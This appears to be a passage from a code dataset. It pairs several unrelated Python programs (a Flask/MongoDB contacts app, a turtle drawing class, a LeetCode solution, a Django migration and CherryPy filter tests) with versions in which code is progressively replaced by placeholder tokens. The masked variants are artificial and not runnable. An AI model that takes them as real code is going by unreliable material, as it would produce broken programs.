"<import token>\n<assignment token>\noutput.write(\"\"\"{}\n{}\n{}\n{}\n{}\n{}\n{}\n\"\"\".format(line1, line2, line3, line4,\n line5, line6, line7))\n",
"<import token>\n<assignment token>\n<code token>\n"
] | false |
9,974 |
05ca16303d0eb962249793164ac91795c45cc3c2
|
from flask import Flask, render_template, request, url_for, redirect,jsonify,json,request
from pymongo import MongoClient
#conexão bd
app = Flask(__name__)
conexao = MongoClient('localhost',27017)
db = conexao['teste_db']
#inserindo contatos iniciais
contato1 = {'nome': 'Lucas', 'email': '[email protected]', 'telefone': '11 99389-3244'}
contato2 = {'nome': 'Lara', 'email': '[email protected]', 'telefone': '11 99333-3556'}
catalogo = db.catalogo
catalogo.insert_one(contato1)
catalogo.insert_one(contato2)
#página inicial
@app.route('/')
def showMachineList():
return render_template('list.html')
@app.route("/insert_records", methods=['POST'])
def insert_records():
json_data = request.json['info']
nome = json_data['nome']
email = json_data['email']
telefone = json_data['telefone']
db.catalogo.insert_one({
'nome':nome,'email':email,'telefone':telefone
})
return jsonify(status='OK',message='inserted successfully')
@app.route('/get_records',methods=['POST'])
def get_records():
contatos = db.catalogo.find()
return render_template('list.html',contatos=contatos)
if __name__ == "__main__":
app.run(debug=True)
|
[
"from flask import Flask, render_template, request, url_for, redirect,jsonify,json,request\n\nfrom pymongo import MongoClient\n\n#conexão bd\napp = Flask(__name__)\nconexao = MongoClient('localhost',27017)\ndb = conexao['teste_db']\n\n#inserindo contatos iniciais\ncontato1 = {'nome': 'Lucas', 'email': '[email protected]', 'telefone': '11 99389-3244'}\ncontato2 = {'nome': 'Lara', 'email': '[email protected]', 'telefone': '11 99333-3556'}\ncatalogo = db.catalogo\ncatalogo.insert_one(contato1)\ncatalogo.insert_one(contato2)\n\n\n#página inicial\[email protected]('/')\ndef showMachineList():\n return render_template('list.html')\n\[email protected](\"/insert_records\", methods=['POST'])\ndef insert_records():\n \n json_data = request.json['info']\n nome = json_data['nome']\n email = json_data['email']\n telefone = json_data['telefone']\n\n db.catalogo.insert_one({\n 'nome':nome,'email':email,'telefone':telefone\n })\n \n return jsonify(status='OK',message='inserted successfully')\n\[email protected]('/get_records',methods=['POST'])\ndef get_records():\n \n contatos = db.catalogo.find() \n\n return render_template('list.html',contatos=contatos)\n\n\nif __name__ == \"__main__\":\n app.run(debug=True)",
"from flask import Flask, render_template, request, url_for, redirect, jsonify, json, request\nfrom pymongo import MongoClient\napp = Flask(__name__)\nconexao = MongoClient('localhost', 27017)\ndb = conexao['teste_db']\ncontato1 = {'nome': 'Lucas', 'email': '[email protected]', 'telefone':\n '11 99389-3244'}\ncontato2 = {'nome': 'Lara', 'email': '[email protected]', 'telefone':\n '11 99333-3556'}\ncatalogo = db.catalogo\ncatalogo.insert_one(contato1)\ncatalogo.insert_one(contato2)\n\n\[email protected]('/')\ndef showMachineList():\n return render_template('list.html')\n\n\[email protected]('/insert_records', methods=['POST'])\ndef insert_records():\n json_data = request.json['info']\n nome = json_data['nome']\n email = json_data['email']\n telefone = json_data['telefone']\n db.catalogo.insert_one({'nome': nome, 'email': email, 'telefone': telefone}\n )\n return jsonify(status='OK', message='inserted successfully')\n\n\[email protected]('/get_records', methods=['POST'])\ndef get_records():\n contatos = db.catalogo.find()\n return render_template('list.html', contatos=contatos)\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n",
"<import token>\napp = Flask(__name__)\nconexao = MongoClient('localhost', 27017)\ndb = conexao['teste_db']\ncontato1 = {'nome': 'Lucas', 'email': '[email protected]', 'telefone':\n '11 99389-3244'}\ncontato2 = {'nome': 'Lara', 'email': '[email protected]', 'telefone':\n '11 99333-3556'}\ncatalogo = db.catalogo\ncatalogo.insert_one(contato1)\ncatalogo.insert_one(contato2)\n\n\[email protected]('/')\ndef showMachineList():\n return render_template('list.html')\n\n\[email protected]('/insert_records', methods=['POST'])\ndef insert_records():\n json_data = request.json['info']\n nome = json_data['nome']\n email = json_data['email']\n telefone = json_data['telefone']\n db.catalogo.insert_one({'nome': nome, 'email': email, 'telefone': telefone}\n )\n return jsonify(status='OK', message='inserted successfully')\n\n\[email protected]('/get_records', methods=['POST'])\ndef get_records():\n contatos = db.catalogo.find()\n return render_template('list.html', contatos=contatos)\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n",
"<import token>\n<assignment token>\ncatalogo.insert_one(contato1)\ncatalogo.insert_one(contato2)\n\n\[email protected]('/')\ndef showMachineList():\n return render_template('list.html')\n\n\[email protected]('/insert_records', methods=['POST'])\ndef insert_records():\n json_data = request.json['info']\n nome = json_data['nome']\n email = json_data['email']\n telefone = json_data['telefone']\n db.catalogo.insert_one({'nome': nome, 'email': email, 'telefone': telefone}\n )\n return jsonify(status='OK', message='inserted successfully')\n\n\[email protected]('/get_records', methods=['POST'])\ndef get_records():\n contatos = db.catalogo.find()\n return render_template('list.html', contatos=contatos)\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n",
"<import token>\n<assignment token>\n<code token>\n\n\[email protected]('/')\ndef showMachineList():\n return render_template('list.html')\n\n\[email protected]('/insert_records', methods=['POST'])\ndef insert_records():\n json_data = request.json['info']\n nome = json_data['nome']\n email = json_data['email']\n telefone = json_data['telefone']\n db.catalogo.insert_one({'nome': nome, 'email': email, 'telefone': telefone}\n )\n return jsonify(status='OK', message='inserted successfully')\n\n\[email protected]('/get_records', methods=['POST'])\ndef get_records():\n contatos = db.catalogo.find()\n return render_template('list.html', contatos=contatos)\n\n\n<code token>\n",
"<import token>\n<assignment token>\n<code token>\n<function token>\n\n\[email protected]('/insert_records', methods=['POST'])\ndef insert_records():\n json_data = request.json['info']\n nome = json_data['nome']\n email = json_data['email']\n telefone = json_data['telefone']\n db.catalogo.insert_one({'nome': nome, 'email': email, 'telefone': telefone}\n )\n return jsonify(status='OK', message='inserted successfully')\n\n\[email protected]('/get_records', methods=['POST'])\ndef get_records():\n contatos = db.catalogo.find()\n return render_template('list.html', contatos=contatos)\n\n\n<code token>\n",
"<import token>\n<assignment token>\n<code token>\n<function token>\n<function token>\n\n\[email protected]('/get_records', methods=['POST'])\ndef get_records():\n contatos = db.catalogo.find()\n return render_template('list.html', contatos=contatos)\n\n\n<code token>\n",
"<import token>\n<assignment token>\n<code token>\n<function token>\n<function token>\n<function token>\n<code token>\n"
] | false |
9,975 |
668b63d1f1bd035226e3e12bc6816abc897affc3
|
# Planet Class
from turtle import *
class Planet:
def __init__(self, x, y, radius):
self.radius = radius
self.x = x
self.y = y
canvas = Screen()
canvas.setup(800, 800)
self.turtle = Turtle()
def circumference(self):
return 2*3.1415*self.radius
def scaleSize(self, scale):
self.radius = self.radius*scale
def draw(self, colour):
self.turtle.goto(self.x, self.y)
self.turtle.color(colour)
self.turtle.dot(self.radius)
#====instance of the class===
planet1 = Planet(-200, -100, 200)
planet1.draw('red')
print('Circumference *check the maths!* is:', planet1.circumference())
planet1.scaleSize(0.5)
planet1.draw('yellow')
planet2 = Planet(300, 200, 100)
planet2.draw('black')
|
[
"# Planet Class\r\nfrom turtle import *\r\nclass Planet:\r\n def __init__(self, x, y, radius):\r\n self.radius = radius\r\n self.x = x\r\n self.y = y\r\n canvas = Screen()\r\n canvas.setup(800, 800)\r\n self.turtle = Turtle()\r\n\r\n def circumference(self):\r\n return 2*3.1415*self.radius\r\n\r\n def scaleSize(self, scale):\r\n self.radius = self.radius*scale\r\n\r\n def draw(self, colour):\r\n self.turtle.goto(self.x, self.y)\r\n self.turtle.color(colour)\r\n self.turtle.dot(self.radius)\r\n\r\n\r\n\r\n#====instance of the class===\r\nplanet1 = Planet(-200, -100, 200)\r\nplanet1.draw('red')\r\nprint('Circumference *check the maths!* is:', planet1.circumference())\r\nplanet1.scaleSize(0.5)\r\nplanet1.draw('yellow')\r\nplanet2 = Planet(300, 200, 100)\r\nplanet2.draw('black')\r\n",
"from turtle import *\n\n\nclass Planet:\n\n def __init__(self, x, y, radius):\n self.radius = radius\n self.x = x\n self.y = y\n canvas = Screen()\n canvas.setup(800, 800)\n self.turtle = Turtle()\n\n def circumference(self):\n return 2 * 3.1415 * self.radius\n\n def scaleSize(self, scale):\n self.radius = self.radius * scale\n\n def draw(self, colour):\n self.turtle.goto(self.x, self.y)\n self.turtle.color(colour)\n self.turtle.dot(self.radius)\n\n\nplanet1 = Planet(-200, -100, 200)\nplanet1.draw('red')\nprint('Circumference *check the maths!* is:', planet1.circumference())\nplanet1.scaleSize(0.5)\nplanet1.draw('yellow')\nplanet2 = Planet(300, 200, 100)\nplanet2.draw('black')\n",
"<import token>\n\n\nclass Planet:\n\n def __init__(self, x, y, radius):\n self.radius = radius\n self.x = x\n self.y = y\n canvas = Screen()\n canvas.setup(800, 800)\n self.turtle = Turtle()\n\n def circumference(self):\n return 2 * 3.1415 * self.radius\n\n def scaleSize(self, scale):\n self.radius = self.radius * scale\n\n def draw(self, colour):\n self.turtle.goto(self.x, self.y)\n self.turtle.color(colour)\n self.turtle.dot(self.radius)\n\n\nplanet1 = Planet(-200, -100, 200)\nplanet1.draw('red')\nprint('Circumference *check the maths!* is:', planet1.circumference())\nplanet1.scaleSize(0.5)\nplanet1.draw('yellow')\nplanet2 = Planet(300, 200, 100)\nplanet2.draw('black')\n",
"<import token>\n\n\nclass Planet:\n\n def __init__(self, x, y, radius):\n self.radius = radius\n self.x = x\n self.y = y\n canvas = Screen()\n canvas.setup(800, 800)\n self.turtle = Turtle()\n\n def circumference(self):\n return 2 * 3.1415 * self.radius\n\n def scaleSize(self, scale):\n self.radius = self.radius * scale\n\n def draw(self, colour):\n self.turtle.goto(self.x, self.y)\n self.turtle.color(colour)\n self.turtle.dot(self.radius)\n\n\n<assignment token>\nplanet1.draw('red')\nprint('Circumference *check the maths!* is:', planet1.circumference())\nplanet1.scaleSize(0.5)\nplanet1.draw('yellow')\n<assignment token>\nplanet2.draw('black')\n",
"<import token>\n\n\nclass Planet:\n\n def __init__(self, x, y, radius):\n self.radius = radius\n self.x = x\n self.y = y\n canvas = Screen()\n canvas.setup(800, 800)\n self.turtle = Turtle()\n\n def circumference(self):\n return 2 * 3.1415 * self.radius\n\n def scaleSize(self, scale):\n self.radius = self.radius * scale\n\n def draw(self, colour):\n self.turtle.goto(self.x, self.y)\n self.turtle.color(colour)\n self.turtle.dot(self.radius)\n\n\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n",
"<import token>\n\n\nclass Planet:\n\n def __init__(self, x, y, radius):\n self.radius = radius\n self.x = x\n self.y = y\n canvas = Screen()\n canvas.setup(800, 800)\n self.turtle = Turtle()\n <function token>\n\n def scaleSize(self, scale):\n self.radius = self.radius * scale\n\n def draw(self, colour):\n self.turtle.goto(self.x, self.y)\n self.turtle.color(colour)\n self.turtle.dot(self.radius)\n\n\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n",
"<import token>\n\n\nclass Planet:\n\n def __init__(self, x, y, radius):\n self.radius = radius\n self.x = x\n self.y = y\n canvas = Screen()\n canvas.setup(800, 800)\n self.turtle = Turtle()\n <function token>\n\n def scaleSize(self, scale):\n self.radius = self.radius * scale\n <function token>\n\n\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n",
"<import token>\n\n\nclass Planet:\n <function token>\n <function token>\n\n def scaleSize(self, scale):\n self.radius = self.radius * scale\n <function token>\n\n\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n",
"<import token>\n\n\nclass Planet:\n <function token>\n <function token>\n <function token>\n <function token>\n\n\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n",
"<import token>\n<class token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n"
] | false |
9,976 |
e4a2c605ef063eee46880515dfff05562916ab81
|
# Problem No.: 77
# Solver: Jinmin Goh
# Date: 20191230
# URL: https://leetcode.com/problems/combinations/
import sys
class Solution:
def combine(self, n: int, k: int) -> List[List[int]]:
if k == 0:
return [[]]
ans = []
for i in range(k, n + 1) :
for temp_ans in self.combine(i - 1, k - 1):
ans.append(temp_ans + [i])
return ans
"""
# correct for 26/27 and TLE
class Solution:
def combine(self, n: int, k: int) -> List[List[int]]:
if k == 0:
return [[]]
if n < k:
return []
nList = [i + 1 for i in range(n)]
if n == k:
return [nList]
if n == k:
return [[i + 1] for i in range(n)]
self.ans = []
if n//2 > k:
self.makeFunc(nList[:], k, [])
else:
self.delFunc(n-k, nList)
return self.ans
def makeFunc(self, nList: list, k: int, temp_ans: list) -> None:
if k == 0:
temp_ans.sort()
if temp_ans not in self.ans:
self.ans.append(temp_ans)
return
else:
return
else:
for i in range(len(nList)):
temp = nList[:]
temp_temp_ans = temp_ans[:]
temp_temp_ans.append(nList[i])
temp.pop(i)
self.makeFunc(temp[:], k-1, temp_temp_ans[:])
def delFunc(self, k: int, temp_ans: list) -> None:
if k == 0:
temp_ans.sort()
if temp_ans not in self.ans:
self.ans.append(temp_ans)
return
else:
return
else:
for i in range(len(temp_ans)):
temp = temp_ans[:]
temp.pop(i)
self.delFunc(k-1, temp[:])
"""
|
[
"# Problem No.: 77\n# Solver: Jinmin Goh\n# Date: 20191230\n# URL: https://leetcode.com/problems/combinations/\n\nimport sys\n\nclass Solution:\n def combine(self, n: int, k: int) -> List[List[int]]:\n if k == 0:\n return [[]]\n ans = []\n for i in range(k, n + 1) :\n for temp_ans in self.combine(i - 1, k - 1):\n ans.append(temp_ans + [i])\n return ans\n\n\"\"\"\n# correct for 26/27 and TLE\nclass Solution:\n def combine(self, n: int, k: int) -> List[List[int]]:\n if k == 0:\n return [[]]\n if n < k:\n return []\n nList = [i + 1 for i in range(n)]\n if n == k:\n return [nList]\n if n == k:\n return [[i + 1] for i in range(n)]\n self.ans = []\n if n//2 > k:\n self.makeFunc(nList[:], k, [])\n else:\n self.delFunc(n-k, nList)\n return self.ans\n \n def makeFunc(self, nList: list, k: int, temp_ans: list) -> None:\n if k == 0:\n temp_ans.sort()\n if temp_ans not in self.ans:\n self.ans.append(temp_ans)\n return\n else:\n return\n else:\n for i in range(len(nList)):\n temp = nList[:]\n temp_temp_ans = temp_ans[:]\n temp_temp_ans.append(nList[i])\n temp.pop(i)\n self.makeFunc(temp[:], k-1, temp_temp_ans[:])\n def delFunc(self, k: int, temp_ans: list) -> None:\n if k == 0:\n temp_ans.sort()\n if temp_ans not in self.ans:\n self.ans.append(temp_ans)\n return\n else:\n return\n else:\n for i in range(len(temp_ans)):\n temp = temp_ans[:]\n temp.pop(i)\n self.delFunc(k-1, temp[:])\n \"\"\"",
"import sys\n\n\nclass Solution:\n\n def combine(self, n: int, k: int) ->List[List[int]]:\n if k == 0:\n return [[]]\n ans = []\n for i in range(k, n + 1):\n for temp_ans in self.combine(i - 1, k - 1):\n ans.append(temp_ans + [i])\n return ans\n\n\n<docstring token>\n",
"<import token>\n\n\nclass Solution:\n\n def combine(self, n: int, k: int) ->List[List[int]]:\n if k == 0:\n return [[]]\n ans = []\n for i in range(k, n + 1):\n for temp_ans in self.combine(i - 1, k - 1):\n ans.append(temp_ans + [i])\n return ans\n\n\n<docstring token>\n",
"<import token>\n\n\nclass Solution:\n <function token>\n\n\n<docstring token>\n",
"<import token>\n<class token>\n<docstring token>\n"
] | false |
9,977 |
d0a053faccecddc84a9556aec3dff691b171df96
|
# Generated by Django 3.2.7 on 2021-10-01 06:43
from django.db import migrations
import django_resized.forms
import event.models.event
import event.models.event_agenda
class Migration(migrations.Migration):
dependencies = [
('event', '0009_auto_20211001_0406'),
]
operations = [
migrations.AlterField(
model_name='event',
name='map',
field=django_resized.forms.ResizedImageField(blank=True, crop=None, force_format='JPEG', help_text='Mapa del evento', keep_meta=True, null=True, quality=90, size=[1920, 1080], upload_to=event.models.event.event_pictures, verbose_name='Mapa'),
),
migrations.AlterField(
model_name='eventagenda',
name='map',
field=django_resized.forms.ResizedImageField(blank=True, crop=None, force_format='JPEG', help_text='Mapa de la exposicion', keep_meta=True, null=True, quality=90, size=[1920, 1080], upload_to=event.models.event_agenda.event_pictures, verbose_name='Mapa'),
),
]
|
[
"# Generated by Django 3.2.7 on 2021-10-01 06:43\n\nfrom django.db import migrations\nimport django_resized.forms\nimport event.models.event\nimport event.models.event_agenda\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('event', '0009_auto_20211001_0406'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='event',\n name='map',\n field=django_resized.forms.ResizedImageField(blank=True, crop=None, force_format='JPEG', help_text='Mapa del evento', keep_meta=True, null=True, quality=90, size=[1920, 1080], upload_to=event.models.event.event_pictures, verbose_name='Mapa'),\n ),\n migrations.AlterField(\n model_name='eventagenda',\n name='map',\n field=django_resized.forms.ResizedImageField(blank=True, crop=None, force_format='JPEG', help_text='Mapa de la exposicion', keep_meta=True, null=True, quality=90, size=[1920, 1080], upload_to=event.models.event_agenda.event_pictures, verbose_name='Mapa'),\n ),\n ]\n",
"from django.db import migrations\nimport django_resized.forms\nimport event.models.event\nimport event.models.event_agenda\n\n\nclass Migration(migrations.Migration):\n dependencies = [('event', '0009_auto_20211001_0406')]\n operations = [migrations.AlterField(model_name='event', name='map',\n field=django_resized.forms.ResizedImageField(blank=True, crop=None,\n force_format='JPEG', help_text='Mapa del evento', keep_meta=True,\n null=True, quality=90, size=[1920, 1080], upload_to=event.models.\n event.event_pictures, verbose_name='Mapa')), migrations.AlterField(\n model_name='eventagenda', name='map', field=django_resized.forms.\n ResizedImageField(blank=True, crop=None, force_format='JPEG',\n help_text='Mapa de la exposicion', keep_meta=True, null=True,\n quality=90, size=[1920, 1080], upload_to=event.models.event_agenda.\n event_pictures, verbose_name='Mapa'))]\n",
"<import token>\n\n\nclass Migration(migrations.Migration):\n dependencies = [('event', '0009_auto_20211001_0406')]\n operations = [migrations.AlterField(model_name='event', name='map',\n field=django_resized.forms.ResizedImageField(blank=True, crop=None,\n force_format='JPEG', help_text='Mapa del evento', keep_meta=True,\n null=True, quality=90, size=[1920, 1080], upload_to=event.models.\n event.event_pictures, verbose_name='Mapa')), migrations.AlterField(\n model_name='eventagenda', name='map', field=django_resized.forms.\n ResizedImageField(blank=True, crop=None, force_format='JPEG',\n help_text='Mapa de la exposicion', keep_meta=True, null=True,\n quality=90, size=[1920, 1080], upload_to=event.models.event_agenda.\n event_pictures, verbose_name='Mapa'))]\n",
"<import token>\n\n\nclass Migration(migrations.Migration):\n <assignment token>\n <assignment token>\n",
"<import token>\n<class token>\n"
] | false |
9,978 |
8a412231c13df1b364b6e2a27549730d06048186
|
"""Test the various means of instantiating and invoking filters."""
import types
import test
test.prefer_parent_path()
import cherrypy
from cherrypy import filters
from cherrypy.filters.basefilter import BaseFilter
class AccessFilter(BaseFilter):
def before_request_body(self):
if not cherrypy.config.get("access_filter.on", False):
return
if not getattr(cherrypy.request, "login", None):
raise cherrypy.HTTPError(401)
def setup_server():
class Numerify(BaseFilter):
def on_start_resource(self):
m = cherrypy.config.get("numerify_filter.map", {})
cherrypy.request.numerify_map = m.items()
def before_finalize(self):
if not cherrypy.config.get("numerify_filter.on", False):
return
def number_it(body):
for chunk in body:
for k, v in cherrypy.request.numerify_map:
chunk = chunk.replace(k, v)
yield chunk
cherrypy.response.body = number_it(cherrypy.response.body)
# It's not mandatory to inherit from BaseFilter.
class NadsatFilter:
def __init__(self):
self.counter = 0
self.ended = {}
def before_main(self):
cherrypy.request.counter = self.counter = self.counter + 1
self.ended[cherrypy.request.counter] = False
def before_finalize(self):
def nadsat_it_up(body):
for chunk in body:
chunk = chunk.replace("good", "horrorshow")
chunk = chunk.replace("piece", "lomtick")
yield chunk
cherrypy.response.body = nadsat_it_up(cherrypy.response.body)
def on_end_request(self):
# This runs after the request has been completely written out.
cherrypy.response.body = "razdrez"
self.ended[cherrypy.request.counter] = True
class Root:
def index(self):
return "Howdy earth!"
index.exposed = True
cherrypy.root = Root()
class TestType(type):
"""Metaclass which automatically exposes all functions in each subclass,
and adds an instance of the subclass as an attribute of cherrypy.root.
"""
def __init__(cls, name, bases, dct):
type.__init__(name, bases, dct)
for value in dct.itervalues():
if isinstance(value, types.FunctionType):
value.exposed = True
setattr(cherrypy.root, name.lower(), cls())
class Test(object):
__metaclass__ = TestType
class CPFilterList(Test):
# METHOD ONE:
# Use _cp_filters (old name: _cpFilterList)
_cp_filters = [NadsatFilter()]
def index(self):
return "A good piece of cherry pie"
def ended(self, id):
return repr(self._cp_filters[0].ended[int(id)])
def err(self):
raise ValueError()
def errinstream(self):
raise ValueError()
yield "confidential"
def restricted(self):
return "Welcome!"
def err_in_onstart(self):
return "success!"
cherrypy.config.update({
'global': {
# METHOD TWO:
# Declare a classname in server.input_filters.
'server.input_filters': ["cherrypy.test.test_custom_filters.AccessFilter"],
'server.log_to_screen': False,
'server.environment': 'production',
'server.show_tracebacks': True,
},
'/cpfilterlist': {
'numerify_filter.on': True,
'numerify_filter.map': {"pie": "3.14159"}
},
'/cpfilterlist/restricted': {
'access_filter.on': True,
'server.show_tracebacks': False,
},
'/cpfilterlist/errinstream': {
'stream_response': True,
},
'/cpfilterlist/err_in_onstart': {
# Because this isn't a dict, on_start_resource will error.
'numerify_filter.map': "pie->3.14159"
},
})
# METHOD THREE:
# Insert a class directly into the filters.output_filters chain.
# You can also insert a string, but we're effectively testing
# using-a-string via the config file.
filters.input_filters.insert(0, Numerify)
filters.output_filters.insert(0, Numerify)
# We have to call filters.init() here (if we want methods #2 and #3
# to work), because the test suite may already have run server.start()
# (which is where filters.init() is usually called).
filters.init()
# Client-side code #
import helper
class FilterTests(helper.CPWebCase):
def testCPFilterList(self):
self.getPage("/cpfilterlist/")
# If body is "razdrez", then on_end_request is being called too early.
self.assertBody("A horrorshow lomtick of cherry 3.14159")
# If this fails, then on_end_request isn't being called at all.
self.getPage("/cpfilterlist/ended/1")
self.assertBody("True")
valerr = '\n raise ValueError()\nValueError'
self.getPage("/cpfilterlist/err")
# If body is "razdrez", then on_end_request is being called too early.
self.assertErrorPage(500, pattern=valerr)
# If this fails, then on_end_request isn't being called at all.
self.getPage("/cpfilterlist/ended/3")
self.assertBody("True")
# If body is "razdrez", then on_end_request is being called too early.
self.getPage("/cpfilterlist/errinstream")
# Because this error is raised after the response body has
# started, the status should not change to an error status.
self.assertStatus("200 OK")
self.assertBody("Unrecoverable error in the server.")
# If this fails, then on_end_request isn't being called at all.
self.getPage("/cpfilterlist/ended/5")
self.assertBody("True")
# Test the config method.
self.getPage("/cpfilterlist/restricted")
self.assertErrorPage(401)
def testGuaranteedFilters(self):
# The on_start_resource and on_end_request filter methods are all
# guaranteed to run, even if there are failures in other on_start
# or on_end methods. This is NOT true of the other filter methods.
# Here, we have set up a failure in NumerifyFilter.on_start_resource,
# but because that failure is logged and passed over, the error
# page we obtain in the user agent should be from before_finalize.
self.getPage("/cpfilterlist/err_in_onstart")
self.assertErrorPage(500)
self.assertInBody("AttributeError: 'Request' object has no "
"attribute 'numerify_map'")
if __name__ == '__main__':
setup_server()
helper.testmain()
|
[
"\"\"\"Test the various means of instantiating and invoking filters.\"\"\"\n\nimport types\nimport test\ntest.prefer_parent_path()\n\nimport cherrypy\nfrom cherrypy import filters\nfrom cherrypy.filters.basefilter import BaseFilter\n\n\nclass AccessFilter(BaseFilter):\n \n def before_request_body(self):\n if not cherrypy.config.get(\"access_filter.on\", False):\n return\n \n if not getattr(cherrypy.request, \"login\", None):\n raise cherrypy.HTTPError(401)\n\n\ndef setup_server():\n\n class Numerify(BaseFilter):\n \n def on_start_resource(self):\n m = cherrypy.config.get(\"numerify_filter.map\", {})\n cherrypy.request.numerify_map = m.items()\n \n def before_finalize(self):\n if not cherrypy.config.get(\"numerify_filter.on\", False):\n return\n \n def number_it(body):\n for chunk in body:\n for k, v in cherrypy.request.numerify_map:\n chunk = chunk.replace(k, v)\n yield chunk\n cherrypy.response.body = number_it(cherrypy.response.body)\n \n \n # It's not mandatory to inherit from BaseFilter.\n class NadsatFilter:\n \n def __init__(self):\n self.counter = 0\n self.ended = {}\n \n def before_main(self):\n cherrypy.request.counter = self.counter = self.counter + 1\n self.ended[cherrypy.request.counter] = False\n \n def before_finalize(self):\n def nadsat_it_up(body):\n for chunk in body:\n chunk = chunk.replace(\"good\", \"horrorshow\")\n chunk = chunk.replace(\"piece\", \"lomtick\")\n yield chunk\n cherrypy.response.body = nadsat_it_up(cherrypy.response.body)\n \n def on_end_request(self):\n # This runs after the request has been completely written out.\n cherrypy.response.body = \"razdrez\"\n self.ended[cherrypy.request.counter] = True\n\n\n\n class Root:\n def index(self):\n return \"Howdy earth!\"\n index.exposed = True\n\n cherrypy.root = Root()\n\n\n class TestType(type):\n \"\"\"Metaclass which automatically exposes all functions in each subclass,\n and adds an instance of the subclass as an attribute of cherrypy.root.\n \"\"\"\n def __init__(cls, name, bases, dct):\n type.__init__(name, bases, dct)\n for value in dct.itervalues():\n if isinstance(value, types.FunctionType):\n value.exposed = True\n setattr(cherrypy.root, name.lower(), cls())\n class Test(object):\n __metaclass__ = TestType\n\n\n class CPFilterList(Test):\n \n # METHOD ONE:\n # Use _cp_filters (old name: _cpFilterList)\n _cp_filters = [NadsatFilter()]\n \n def index(self):\n return \"A good piece of cherry pie\"\n \n def ended(self, id):\n return repr(self._cp_filters[0].ended[int(id)])\n \n def err(self):\n raise ValueError()\n \n def errinstream(self):\n raise ValueError()\n yield \"confidential\"\n \n def restricted(self):\n return \"Welcome!\"\n \n def err_in_onstart(self):\n return \"success!\"\n\n\n cherrypy.config.update({\n 'global': {\n # METHOD TWO:\n # Declare a classname in server.input_filters.\n 'server.input_filters': [\"cherrypy.test.test_custom_filters.AccessFilter\"],\n 'server.log_to_screen': False,\n 'server.environment': 'production',\n 'server.show_tracebacks': True,\n },\n '/cpfilterlist': {\n 'numerify_filter.on': True,\n 'numerify_filter.map': {\"pie\": \"3.14159\"}\n },\n '/cpfilterlist/restricted': {\n 'access_filter.on': True,\n 'server.show_tracebacks': False,\n },\n '/cpfilterlist/errinstream': {\n 'stream_response': True,\n },\n '/cpfilterlist/err_in_onstart': {\n # Because this isn't a dict, on_start_resource will error.\n 'numerify_filter.map': \"pie->3.14159\"\n },\n })\n\n # METHOD THREE:\n # Insert a class directly into the filters.output_filters chain.\n # You can also insert a string, but we're effectively testing\n # using-a-string via the config file.\n filters.input_filters.insert(0, Numerify)\n filters.output_filters.insert(0, Numerify)\n\n # We have to call filters.init() here (if we want methods #2 and #3\n # to work), because the test suite may already have run server.start()\n # (which is where filters.init() is usually called).\n filters.init()\n\n\n# Client-side code #\n\nimport helper\n\n\nclass FilterTests(helper.CPWebCase):\n \n def testCPFilterList(self):\n self.getPage(\"/cpfilterlist/\")\n # If body is \"razdrez\", then on_end_request is being called too early.\n self.assertBody(\"A horrorshow lomtick of cherry 3.14159\")\n # If this fails, then on_end_request isn't being called at all.\n self.getPage(\"/cpfilterlist/ended/1\")\n self.assertBody(\"True\")\n \n valerr = '\\n raise ValueError()\\nValueError'\n self.getPage(\"/cpfilterlist/err\")\n # If body is \"razdrez\", then on_end_request is being called too early.\n self.assertErrorPage(500, pattern=valerr)\n # If this fails, then on_end_request isn't being called at all.\n self.getPage(\"/cpfilterlist/ended/3\")\n self.assertBody(\"True\")\n \n # If body is \"razdrez\", then on_end_request is being called too early.\n self.getPage(\"/cpfilterlist/errinstream\")\n # Because this error is raised after the response body has\n # started, the status should not change to an error status.\n self.assertStatus(\"200 OK\")\n self.assertBody(\"Unrecoverable error in the server.\")\n # If this fails, then on_end_request isn't being called at all.\n self.getPage(\"/cpfilterlist/ended/5\")\n self.assertBody(\"True\")\n \n # Test the config method.\n self.getPage(\"/cpfilterlist/restricted\")\n self.assertErrorPage(401)\n \n def testGuaranteedFilters(self):\n # The on_start_resource and on_end_request filter methods are all\n # guaranteed to run, even if there are failures in other on_start\n # or on_end methods. This is NOT true of the other filter methods.\n # Here, we have set up a failure in NumerifyFilter.on_start_resource,\n # but because that failure is logged and passed over, the error\n # page we obtain in the user agent should be from before_finalize.\n self.getPage(\"/cpfilterlist/err_in_onstart\")\n self.assertErrorPage(500)\n self.assertInBody(\"AttributeError: 'Request' object has no \"\n \"attribute 'numerify_map'\")\n\n\nif __name__ == '__main__':\n setup_server()\n helper.testmain()\n\n",
"<docstring token>\nimport types\nimport test\ntest.prefer_parent_path()\nimport cherrypy\nfrom cherrypy import filters\nfrom cherrypy.filters.basefilter import BaseFilter\n\n\nclass AccessFilter(BaseFilter):\n\n def before_request_body(self):\n if not cherrypy.config.get('access_filter.on', False):\n return\n if not getattr(cherrypy.request, 'login', None):\n raise cherrypy.HTTPError(401)\n\n\ndef setup_server():\n\n\n class Numerify(BaseFilter):\n\n def on_start_resource(self):\n m = cherrypy.config.get('numerify_filter.map', {})\n cherrypy.request.numerify_map = m.items()\n\n def before_finalize(self):\n if not cherrypy.config.get('numerify_filter.on', False):\n return\n\n def number_it(body):\n for chunk in body:\n for k, v in cherrypy.request.numerify_map:\n chunk = chunk.replace(k, v)\n yield chunk\n cherrypy.response.body = number_it(cherrypy.response.body)\n\n\n class NadsatFilter:\n\n def __init__(self):\n self.counter = 0\n self.ended = {}\n\n def before_main(self):\n cherrypy.request.counter = self.counter = self.counter + 1\n self.ended[cherrypy.request.counter] = False\n\n def before_finalize(self):\n\n def nadsat_it_up(body):\n for chunk in body:\n chunk = chunk.replace('good', 'horrorshow')\n chunk = chunk.replace('piece', 'lomtick')\n yield chunk\n cherrypy.response.body = nadsat_it_up(cherrypy.response.body)\n\n def on_end_request(self):\n cherrypy.response.body = 'razdrez'\n self.ended[cherrypy.request.counter] = True\n\n\n class Root:\n\n def index(self):\n return 'Howdy earth!'\n index.exposed = True\n cherrypy.root = Root()\n\n\n class TestType(type):\n \"\"\"Metaclass which automatically exposes all functions in each subclass,\n and adds an instance of the subclass as an attribute of cherrypy.root.\n \"\"\"\n\n def 